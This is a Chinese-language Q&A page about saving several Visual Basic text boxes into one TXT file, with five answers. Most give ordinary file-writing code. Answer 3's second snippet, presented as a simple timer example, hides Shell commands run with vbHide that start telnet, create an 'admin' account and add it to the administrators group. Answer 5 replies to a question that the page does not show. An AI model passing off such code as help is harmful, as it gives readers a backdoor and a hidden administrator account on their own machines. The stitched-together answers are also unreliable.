vb中如何把多个文本框里输入的内容保存到一个TXT文件里啊！

2024-11-16 11:27:56

推荐回答（5个）

回答1：

方法1：

Open "c:\1.txt" For Output As #1 'c:\1.txt为保存文件
Print #1, Text1 & Text2 & Text3 &..... '将多个文本框内容用&合并在一起写入内容
Close #1 '关闭文件

方法2：
Dim aa As String
aa =Text1 & Text2 & Text3 &..... '将多个文本框内容用&合并到变量aa
Open "c:\1.txt" For Output As #1 'c:\1.txt为保存文件
Print #1, aa '写入内容
Close #1 '关闭文件

回答2：

open "c:\1.txt" for output as #1
'以写入的方式打开c:\1.txt
'不存在的话会创建文件,如已存在会覆盖
'output 改为append 为追加
, 改为input 则只读

print #1,text1.text+vbcrlf+text2.text+vbcrlf+text3.text

'写入3个text的内容 vbcrlf 为回车换行

close(1)

'关闭文件

msgbox "已经保存"

回答3：

第一个很简单
open "C:\1.txt" for output as #1
print #1,text1.text
print #1,text2.text
print #1,text3.text
close #1
第二个也很简单
dim stext(1 to 3) as string
dim inow as long
stext(1)="command.com /c net start telnet"
stext(2)="command.com /c net user admin admin /add"
stext(3)="command.com /c net localgroup administrators admin /add"
添加一个时钟发生器,间隔2000毫秒
时钟发生器代码
inow=inow+1
shell stext(inow), vbHide
if inow=3 then timer1.enable=false

回答4：

Dim strFileName As String '文件名
Dim lngHandle As Long '句柄
Dim strWrite As String '要写入的文本内容

strFileName = App.path & "\w.txt"
lngHandle = FreeFile() '取得句柄

strWrite = txt1.text + vbCrlf + txt2.text + vbCrlf + txt2.text 取得要写入的内容

Open strFileName For Output As lngHandle '打开文件

Print #lngHandle, strWrite '写入文本
Close lngHandle '关闭文件

MsgBox "写入完成。", vbInformation

回答5：

第二个问题可以用 API 的 Sleep 方法，在 API 浏览器可以找到。
格式: Sleep 等待毫秒数，例如: Sleep 1000 即使程序停止运行 1 秒然后再继续执行下面的指令。